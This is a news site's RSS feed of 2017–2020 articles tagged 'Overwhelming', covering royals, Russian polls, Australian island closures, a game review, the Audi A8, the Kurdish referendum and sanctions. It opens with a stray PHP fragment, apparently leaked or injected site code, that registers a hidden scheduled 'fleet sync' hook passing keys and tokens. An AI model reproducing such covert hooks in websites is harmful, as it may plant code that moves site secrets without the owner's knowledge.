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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Overwhelming – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 28 May 2020 22:59:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Overwhelming – Brief News https://briefnews.eu 32 32 Prince William opens up on ‘life-changing’ parenting moment: ‘I found it overwhelming’ https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/ https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/#respond Thu, 28 May 2020 22:59:14 +0000 https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/

Marvin told William: “I became a dad in 2017 for the first time and it was the hardest time of my life. I found it really, really tough and I grew up without my father and not had a father to look up at.

“And now I’ve got a child looking up at a father and I don’t really know how I’m dealing with this and I really struggled with my emotions at the time and that’s something I wanted to ask you as well – there’s a lot of pressure for so many dads across the country.

“When you’re struggling, who do you go to?” with the prince replying: “So, I can relate to what you’re saying Marvin, having children is the biggest life-changing moment, it really is.

“I agree with you, I think when you’ve been through something traumatic and that is like you say, your dad not being around, my mother dying when I was younger, your emotions come back in leaps and bounds.”

 

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]]> https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/feed/ 0 Russian poll reveals overwhelming support for ban on mobile phones in schools https://briefnews.eu/russian-poll-reveals-overwhelming-support-for-ban-on-mobile-phones-in-schools/ https://briefnews.eu/russian-poll-reveals-overwhelming-support-for-ban-on-mobile-phones-in-schools/#respond Wed, 19 Sep 2018 10:22:33 +0000 http://briefnews.eu/russian-poll-reveals-overwhelming-support-for-ban-on-mobile-phones-in-schools/ About three quarters of Russians say they support the idea of banning the use of cell phones and other tech gadgets in schools and believe that children would study better were such measures taken.

The data was revealed by the state-run public opinion research agency VTSIOM on Wednesday. A recent poll has shown that 83 percent of the Russian public think that smartphones and other gadgets distract children during their school studies and badly affect their education.

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Some 73 percent of Russians say they support the idea of banning the use of cell phones in schools. The proportion was even higher – at 83 percent – among those who said that their children do not own cell phones and also among those who said that they don’t have any children of school age (74 percent).

As many as 69 percent of Russians told researchers that once such restrictions are imposed children would study better. Some 17 percent of respondents said that, in their opinion, the ban would lead to no significant changes in the quality of education.

VTSIOM’s General Director Valery Fedorov said results of the research showed that the use of cell phones among Russians had reached capacity with practically all people of all ages contactable at any time. However, such widespread familiarity with new technologies had already revealed negative side effects, with the public starting to think about the benefit of certain restrictions, he said.

In late August, before the start of the new school year, Russian Education Minister Veronika Skvortsova said that children should not use or even carry cell phones in schools, and instead leave the gadgets in safekeeping before lessons. At the same time, the minister noted that this was her personal opinion on the subject and every school administration was free to develop its own policy.

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]]> https://briefnews.eu/russian-poll-reveals-overwhelming-support-for-ban-on-mobile-phones-in-schools/feed/ 0 Popular holiday islands CLOSED to tourists – due to overwhelming rat infestation https://briefnews.eu/popular-holiday-islands-closed-to-tourists-due-to-overwhelming-rat-infestation/ https://briefnews.eu/popular-holiday-islands-closed-to-tourists-due-to-overwhelming-rat-infestation/#respond Wed, 30 May 2018 08:08:31 +0000 http://briefnews.eu/popular-holiday-islands-closed-to-tourists-due-to-overwhelming-rat-infestation/

Ten islands in Australia are being shut down thanks to the rat infestation currently plaguing the land.

Found off the coast of Queensland’s Great Barrier Reef, they will remain closed for three weeks while the problem is tackled.

The Queensland Parks and Wildlife Service will be working to remove the rodents on the islands.

The Franklin Islands and Northern Barnard Islands are those affected.

The rats are thought to have migrated to the island by stowing on boats that visit the islands or using logs during flooding to raft over.

Ranger Warrick Armstrong told ABC News Australia how they can affect other wildlife in the area.

He explained: “They cause major extinctions and a decline in island biodiversity around the world, and we certainly know on our Australian islands they have a huge impact on nesting seabirds.

“They are damaging seabird eggs, eating hatchlings.

“We also have a lot of visitors to campgrounds, so there’s a risk of disease that’s carried by these pest rats.”

A helicopter will drop bait over the islands as part of the baiting programme.

Franklin Islands is often named as one of the best beaches in Australia.

The islands in Cairns, which include the Franklin Islands, are also known to have the best boat tours across the region.

They are all uninhabited by humans and protected, meaning they remain peaceful and undamaged.

Beautiful wildlife is often the focus of the tours, which frequently stop over on the island, although camping on the island requires permission.

The Australian islands aren’t the only closures to affect the tourism industry this year.

Boracay in the Philippines has been forced to close in an attempt to protect it.

Sewage flows in the water from the local hotels and establishments has ruined the island, forcing its closure.

Maya Bay in Thailand is also to close this summer.

Boats and tourists have risen in number in recent years, so the closure hopes to protect the damaged coral.

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]]> https://briefnews.eu/popular-holiday-islands-closed-to-tourists-due-to-overwhelming-rat-infestation/feed/ 0 Rym 9000 Is A Shmup Of Overwhelming, Haywire Visuals https://briefnews.eu/rym-9000-is-a-shmup-of-overwhelming-haywire-visuals/ https://briefnews.eu/rym-9000-is-a-shmup-of-overwhelming-haywire-visuals/#respond Wed, 24 Jan 2018 03:25:18 +0000 http://briefnews.eu/rym-9000-is-a-shmup-of-overwhelming-haywire-visuals/ ss_eb7e97ae7d9b17329612bfc892b04ece0bbca638.1920x1080.jpg

Rym 9000‘s trailer rightfully starts with an epilepsy warning, as the game’s distorted, trembling, shifting visuals are on the cusp of overwhelming the eyes at almost every moment, taking players through a hyper-stimulating roller coaster ride of lights, colors, effects, and sound.

Oh yeah the shooting part is swell too.

Rym 9000 is about a hunting for a legendary treasure on the moon, which is protected by five stages of eye-blasting action. Players will hurtle through space, their speed communicated through the game’s constantly-shifting effects and shaking ships. The visual effects of the game give a sense of constant pressure and momentum, like everything is on the verge of shaking to pieces as players rush toward the treasure, giving an almost tactile sense of shuddering.

Players who do well can place their names on a leaderboard, but they can also unlock achievements that drop bits of lore about the world of Rym 9000 as well, so there’s plenty of goodies for players even if they aren’t the best worldwide. Whether they’re skilled pilots or not, the visual style of Rym 9000 is something well worth seeing, capturing a sense of speed in a way that you can practically feel it.

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]]> https://briefnews.eu/rym-9000-is-a-shmup-of-overwhelming-haywire-visuals/feed/ 0 Audi’s flagship A8 has an overwhelming amount of tech https://briefnews.eu/audis-flagship-a8-has-an-overwhelming-amount-of-tech/ https://briefnews.eu/audis-flagship-a8-has-an-overwhelming-amount-of-tech/#respond Sat, 07 Oct 2017 05:58:11 +0000 http://briefnews.eu/audis-flagship-a8-has-an-overwhelming-amount-of-tech/

The 2019 Audi A8 is one of the most, if not the most technically advanced cars in the world, so when the company offered a test drive, how could we resist? While we didn’t get to see the vaunted Level 3 self-driving, there were still a lot of cutting-edge features on display. If anything, the sheer quantity of technology was a little disconcerting when we drove the A8 through the hills of Valencia, Spain.

There’s so much tech on the A8, it’s hard to know where to start. Three screens cover the dashboard: one for the instrument cluster in front of the driver, a touchscreen for the Audi MMI infotainment system at center and another touchscreen for climate control that also acts as a writing pad for your finger. Oh, and there’s a heads-up display (HUD), of course.

Around the vehicle are a dazzling number of sensors, including long-range radar, four mid-range radars, 360-degree cameras, up to 12 ultrasound cameras and, for the first time in a production car, LIDAR. That’s a lot of input data, all of it crunched by a central “zFAS” driver assistance controller. There’s also an NVIDIA K1 processing unit to handle the infotainment chores.

All together, this gives you an insane 40 or so driver assist options, including an all-new “adaptive cruise assist,” which Audi calls “a progression from the adaptive cruise control of the previous model.” Specifically, it incorporates the Level 3 traffic jam pilot, a construction zone assist and other features. It keeps the A8 within a desired speed range and separated from traffic, while applying steering torque to keep you in the lane.

Another new feature is the “crossing assist,” which brakes automatically if a vehicle passes dangerously in front. The tech also allows you to use the detachable “Audi Tablet” to self-park in tight spaces, and it can do automatic parallel parking when you’re inside the vehicle.

The adaptive cruise assist worked as advertised, decelerating and keeping me back from vehicles in the slow lane on the freeway, then speeding up and safely following vehicles when I changed to a passing lane. I took my hands slightly off the wheel on a corner, and the A8 generally followed it perfectly in the middle of the lane. My only complaint was that it was hard to tell if the system was engaged, as there is a lot of info on the screens.

Audi demonstrated the angled self-parking using the tablet and parallel parking with a driver at the wheel. The parallel parking system didn’t work well for part of the test — the A8 seemed to get too close to a column and stopped. To be fair, this is a pre-production car, and Audi said it would have the bugs worked out before it goes on sale. Still, it was a disquieting illustration of the A8’s complexity.

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Select models pack an all-new “Audi AI active suspension,” an electronic chassis powered by a 48-volt system. That gives you dynamic all-wheel steering and a fully active electromechanical suspension that can do some interesting tricks.

For instance, the front camera can scan the road ahead and, when it detects a bump, pre-lift the body to better soak it up. Furthermore, if the 360-degree cameras detect an impending side impact, the suspension lifts the body by up to 80mm (3.1 inches) within a half second to better absorb the blow. That can reduce injuries by up to 50 percent, Audi says.

Audi demonstrated both of those tricks on its “parkour” course. First it showed how the AI electromechanical suspension lifts the car to help absorb particularly rough bumps. From within the car, a drastic speed bump that was fairly rough with the system turned off was much milder with it engaged. But the lift before impact was particularly impressive. Engineers essentially rammed a heavy box into a plexiglass shield placed in front of the A8, fooling the sensors into believing it was an oncoming car. Sure enough, the A8 rapidly lifted, as shown in the video above.

Finally, Audi demoed a system meant to prevent accidents when you exit the car. If it detects, say, a bicycle passing from the rear of the car (a hapless Audi employee drove a bike for the demo), it will temporarily block the electronic door release. During the demo, while I filmed from the front passenger seat, the journalist at the rear was unable to open his door just before the bicycle passed. From the front, however, the Audi engineer in the driver seat was able to open his door, as the bike had just cleared it. So, it’s a very finely tuned system.

The Audi A8 will come with a wide choice of engine options, including a 3.0-liter V6 with 340 horsepower, a 4.0-liter, 460-horsepower V8 and finally, the rather crazy 586-horsepower W12 (yes, that’s a “W,” because there are four banks of three cylinders). The latter engine, on top of producing crazy power, lets you switch off cylinders in mid-drive to increase gas mileage.

Eventually, you’ll see a plug-in hybrid with a 3.0-liter engine and 31-mile all-electric range. I tested the 340-horsepower V6, which had all the power I needed for passing and for climbing a twisty mountain road.

To navigate, you can put the system into “intelligent search” mode and then just start writing the name of a destination with your finger (voice and other navigation options are also available). The system was very good at picking up my scrawls, and after I entered the first few characters, it brought up a list that I could scroll through. When you first touch either of the two center screens, you get a haptic pulse as confirmation, along with an audible click.

The navigation system was impressively easy to follow, showing up on the instrument display in a large or small size, the central display and the HUD when needed, making it nearly impossible for me to get lost. (I tried, believe me.) Once during the demo, however, it went dead and refused to reboot until we called Audi and figured it out. Again, such bugs aren’t surprising for a pre-production car and will be fixed, engineers promised.

So what’s it like to drive the Audi A8 while using all this tech? In a word, overwhelming. Prior to each trip, I had an Audi engineer leaning into the car, carefully explaining all the features. As I mentioned, I was often unsure which cruise control or active drive mode was engaged, as there is a lot of info on those screens. With more time on the car, I’m sure I’d get used to it, but I found it slightly distracting.

I love technology, so it pains me to say that the Audi A8 almost has too much of it. The active driving assist, AI electromechanical suspension and self-parking features rely on brand-new and complex systems that are, by their nature, prone to bugs and breakdowns. At times, it also felt overly gadgety, with a few too many potential driving distractions.

The driving experience was lovely — it’s a beautifully quiet, stable and luxurious car with nearly flat handling and tons of power, even on the “low-end” 340-horsepower version. And Audi did stellar work with the redesign, giving it more personality and nicely remaking the last model’s boxy front end.

Audi didn’t show off the Level 3 “traffic jam pilot” in Valencia, and that feature is perhaps the best example of how Audi is really pushing it far on the tech. It’s essentially a more advanced version of the adaptive cruise assist that works at speeds from zero to 37 mph, letting you do other things like watch a movie, though you need to be ready to grab back control. Given all the infotainment options on hand, that feature could become popular in traffic jam-prone areas.

However, you must stay in one lane, and it requires clear markings and a center barrier separating you from oncoming traffic. Even if all of those conditions are met, Audi notes that it requires “both clarity regarding the legal parameters for each country and specific adaptation and testing of the system.” In other words, Audi has no control over when it will be legally allowed to activate the system, but it could be quite a while after you buy the A8.

Despite my caution, you have to give Audi credit for trying all this stuff. The 2019 A8’s tech is bound to trickle down to other Audi models and inspire rivals to do the same to compete. Introducing so many new things is pretty risky, though, so I hope both Audi — and its well-heeled drivers — can handle the challenge. It comes to Europe by the end of the year starting at €90,600, or around $ 103,000. As mentioned, it arrives to the US by summer of 2018, but exact US pricing isn’t yet available.

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After much anticipation and under threat of retaliation, the people of Iraqi Kurdistan turned out in high numbers to return what appears to be an overwhelming vote in favour of independence from Iraq.

Advocates for independence covered a broad spectrum, from those using the vote as a way to negotiate a better future within Iraq to those demanding a new sovereign state.

Although it was never quite clear what the September 25 referendum was intended to achieve, one thing’s for sure: while the Iraqi government, neighbouring states, regional powers and the international community were all against it from the off, the people of Iraqi Kurdistan have voted on self-determination and given a very clear mandate for independence.

It only takes a short stay in Iraqi Kurdistan to conclude that a separation from the rest of Iraq seems inevitable, thanks to both the long-held Kurdish desire for a homeland and the different trajectories that Iraqi Kurdistan and Iraq have followed now for more than a quarter of a century.

Barring diplomatic, economic, or even military action by Iraq or other states, the next step envisioned by Kurdistan’s president, Masoud Barzani, is to enter into negotiations with the Iraqi federal government over Kurdistan’s future status. Since the federal government would have to relinquish its sovereign claim over Kurdistan in order for it to become a state, Kurdistan’s path to independence travels through, and is dependent upon, Baghdad.

But just because separation is inevitable doesn’t mean achieving it will be easy. An independent Kurdistan will present problems for other states with secessionist movements and will immediately confront severe challenges of its own.

Iraq's Kurdistan region's President Massoud Barzani speaks during an interview with Reuters in Erbil, Iraq July 6, 2017. REUTERS/Azad LashkariThomson Reuters

Feeling the pinch

The most pressing problem that an independent Kurdistan would face is how to fund itself.

Much of Kurdistan’s domestic economy is dependent on Turkey, which has threatened to cut off the flow of goods and stop exporting oil because of the referendum. Iraqi Kurdistan also currently receives approximately 13-17% of the national Iraqi budget.

This funding has been a source of continued dispute, but is vital to Kurdistan maintaining its government and services. Advocates for independence make much of the potential financial windfall from oil production, but with oil prices low and political turmoil running high, the Kurdistan market is less and less attractive for international investors.

In fact, since 2014, Kurdistan has been struggling with a long-term financial crisis. The costs of war with the so-called Islamic State (IS), an influx of refugees and a decline in oil revenues have combined to undermine the government’s budget. Since 2015 government salaries have gone unpaid or been cut. These would be onerous problems indeed for a new independent state to confront.

This year’s referendum was a vote for the people of Iraqi Kurdistan as well as four Kurdish controlled regions within Iraq: Kirkuk, Makhmour, Sinjar and Khanaqin. Although these regions are currently controlled from Erbil, they are also claimed by Baghdad.

The perilous state of finances in Kurdistan mean Kirkuk in particular is vital. A multi-ethnic city, Kirkuk sits next to one of the largest oil fields in Iraq, and contesting over who it belongs to has long been a concern. Kurdistan has controlled it since 2014, but the decline of the IS threat in Iraq would allow Baghdad to commit military resources to reclaiming the city and its oil fields.

One issue that any negotiation between Baghdad and Erbil would have to resolve is the status of these oil resources. A peaceful resolution to this land and resource dispute would do much to allow Kurdistan to split from Iraq in an amicable fashion. But looking at a map of north and central Iraq, Kirkuk is only one of many potential flashpoints in the disputed territories that ring the borders of Kurdistan from Mosul to Tuz Khurmatu.

Traditionally dressed Kurdish women flash victory signs during a rally of some 30,000 Turkish Kurds pro PKK leader (Kurdistan Workers' Party) Abdullah Ocalan and and against Turkish President and AKP party leader Recep Tayyip Erdogan in Cologne, Germany September 3, 2016. REUTERS/Wolfgang Rattay Thomson Reuters

Marching up the hill

Even among Iraqi Kurds, the referendum in Kurdistan was not universally supported.

Some parties argued that the timing of the referendum was wrong; others raised concerns that President Barzani was using the referendum to safeguard his own political future. It was not clear until the day of the referendum whether the polls would open in Kirkuk or not.

Further, Kurdistan is not just populated by Kurds – and many (including Iran and Turkey) are concerned for the status and future of Arabs, Turkmen, and other minority groups. Incorporating non-Kurds into a territory so closely associated with Kurdish identity and longstanding calls of Kurdish nationalism will be an obstacle that a Kurdistan outside of Iraq will have to address if it wishes to remain stable.

Beyond that, though, the heightened sense of Kurdish nationalism amongst the Kurds themselves may have been necessary for mobilization of society behind a yes vote, but it will also have to be carefully navigated by the Kurdistan government. In the run-up to the referendum, Barzani made clear and strong statements that Kurdistan would not stay within Iraq and that it would not be controlled by outside powers. But what happens if the promises of independent statehood cannot be realised?

The negotiations between Erbil and Baghdad carry no guarantees. If they want to avoid crisis, Barzani and his fellow leaders will need to engage in long-term and very careful politics with both Baghdad and Kurdistan’s population – if they’re mobilized and marched to the top of the hill, it could be dangerous to try to march them back down.

As things stand, all involved must confront two difficult facts. First, it is not easy or straightforward to become a new sovereign state and, second, any resolution to the question of Iraqi Kurdistan is still a long way off. The independence referendum has presented an optimistic future, but there are plenty of obstacles in the way.

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Secretary of Defense Jim Mattis warned on Sunday of a “massive,” and “overwhelming” military response to North Korea’s missile and nuclear weapons programs after a small group meeting with President Donald Trump in response to Pyongyang testing its sixth and largest-ever nuclear device.

Mattis stressed that the US has “many” military options for dealing with North Korea, but that the US does not seek the annihilation of any country.

Mattis was most likely referring to the US military’s roughly 28,000 troops located in South Korea and its massive presence in Japan and in the Pacific. At the time of Mattis’ speaking, the US does not have an increased naval or military presence in the region, though the US and South Korea did just complete a joint war-gaming exercise.

Earlier on Sunday Trump floated the idea of cutting off trade with China, North Korea’s treaty ally and main trading partner, in response to North Korea’s greatly increased provocations. “The United States is considering, in addition to other options, stopping all trade with any country doing business with North Korea,” Trump wrote in a tweet.

The Trump administration has repeatedly said that “all options” are on the table in dealing with North Korea, and stressed military might represents a part of that package. 

Historically, China has agreed to UN Security Council resolutions against North Korea following nuclear tests, but despite sanctions, loopholes remain that allow Pyongyang to finance its weapons programs. 

North Korean leader Kim Jong Un provides guidance on a nuclear weapons program in this undated photo released by North Korea's Korean Central News Agency (KCNA) in Pyongyang September 3, 2017. KCNA via REUTERS Thomson Reuters

The nuclear device tested by North Korea on Sunday had a yield of hundreds of kilotons, meaning it was most likely a hydrogen or thermonuclear bomb, according to expert estimates and North Korea’s own statements. 

The completion of an intercontinental ballistic missile and a thermonuclear warhead represent North Korea achieving its ultimate goal of building a credible deterrent against invasion and regime change. Experts assess that North Korea’s main goal in developing nuclear weapons is to secure its regime, and that it will not use the weapons offensively, unless provoked. 

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Demonstrating its “overwhelming” military force to North Korea, South Korea conducted bombing drills just hours after Pyongyang launched what appeared to be an intermediate range ballistic missile that fell in Japanese waters.

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]]> https://briefnews.eu/overwhelming-force-south-korea-conducts-bombing-drill-in-response-to-pyongyangs-missile-test/feed/ 0 ‘US self-interest’: Poll shows overwhelming majority of Germans against new Russia sanctions https://briefnews.eu/us-self-interest-poll-shows-overwhelming-majority-of-germans-against-new-russia-sanctions/ https://briefnews.eu/us-self-interest-poll-shows-overwhelming-majority-of-germans-against-new-russia-sanctions/#respond Sat, 29 Jul 2017 16:58:17 +0000 http://briefnews.eu/us-self-interest-poll-shows-overwhelming-majority-of-germans-against-new-russia-sanctions/

In a survey published by Der Spiegel, 83 percent of Germans over 18 disapprove of the US’ planned expanded sanctions on Russia, with a mere six percent expressing approval.

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The poll, carried out by the Forsa Institute market research firm, asked 1,002 Germans over the age of 18 the following question: “The US wants to expand the economic campaigns against Russia so that companies from Germany and other European countries will also face penalties on the American market when they participate in or finance natural gas projects with Russia. Do you think it is right or wrong for the US expanding sanctions in this way?”

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The results of the survey, which was conducted from July 7 to 11, before the decision by Congress on Thursday to impose a new round of sanctions, also showed that 77 percent believe it was a self-interested move by the United States to strengthen its own economy.

The German government has stood against the latest sanctions bill passed by Congress, which explicitly prioritizes the interests of US energy companies.

“It remains the case that we will not accept an extraterritorial application of these US sanctions against European companies,” Foreign Minister Sigmar Gabriel told Der Spiegel on Friday.

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The sanctions target Russian gas and pipeline developments by codifying six of former President Barack Obama’s executive orders implemented near the end of his term.
They also take aim at Russia’s major defense, mining, shipping, and railway industries.
The bill has alarmed the EU, as it would harm European companies taking part in Russian-EU energy projects – the Nordstream II pipeline being the most prominent example.

However, despite the criticism of the United States, the Forsa survey did not show entirely positive views of Russia. Only 38 percent of respondents considered Russia a reliable partner, compared to 53 percent in a survey carried out in 2013, before the outbreak of the Ukraine crisis.

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]]> https://briefnews.eu/us-self-interest-poll-shows-overwhelming-majority-of-germans-against-new-russia-sanctions/feed/ 0 ‘Beyond the realms of common sense’: Russia says an overwhelming US vote for tough new sanctions is a ‘serious step’ towards destroying chances of improving ties https://briefnews.eu/beyond-the-realms-of-common-sense-russia-says-an-overwhelming-us-vote-for-tough-new-sanctions-is-a-serious-step-towards-destroying-chances-of-improving-ties/ https://briefnews.eu/beyond-the-realms-of-common-sense-russia-says-an-overwhelming-us-vote-for-tough-new-sanctions-is-a-serious-step-towards-destroying-chances-of-improving-ties/#respond Wed, 26 Jul 2017 09:28:16 +0000 http://briefnews.eu/beyond-the-realms-of-common-sense-russia-says-an-overwhelming-us-vote-for-tough-new-sanctions-is-a-serious-step-towards-destroying-chances-of-improving-ties/ Vladimir PutinREUTERS/Ian Langsdon/POOL

Moscow (AFP) – An overwhelming vote by the US House of Representatives to slap tough new sanctions on Moscow is a “serious step” towards wrecking chances of improving ties, Russia’s deputy foreign minister said on Wednesday.

“What has happened goes beyond the realms of common sense,” Sergei Ryabkov told state-run TASS news agency.

“The authors and sponsors of this bill are taking a very serious step towards destroying the possibilities for normalising relations with Russia.” 

The sanctions package — which also contains measures aimed at Iran and North Korea — passed 419 to three on Tuesday after weeks of negotiations. 

It now heads to the Senate before President Donald Trump will face the tricky choice of whether to veto the legislation, which has been opposed by the White House and considerably constrains his ability to lift the penalties. 

If Trump does sign off on the bill then Russia looks likely to retaliate, with Ryabkov insisting Moscow has warned Washington “dozens of times” that any new sanctions would “not go unanswered.”

But for now Moscow appears to be keeping its powder dry as it waits to see how Trump reacts.  

“We are not giving in to emotions,” Ryabkov said. 

“We will work to look for ways to move ahead, persistently and consistently searching for ways to compromise of issues important to Russia and the US.”

Ties between Russia and the US plummeted to their lowest point since the Cold War after the Kremlin’s seizure of Crimea from Ukraine in 2014 saw Washington impose sanctions on Moscow. 

Trump repeatedly pledged during his campaign to try to boost relations with Russia, but allegations that the Kremlin meddled in the vote to get him to the White House have made any signs of going soft on Moscow politically toxic. 

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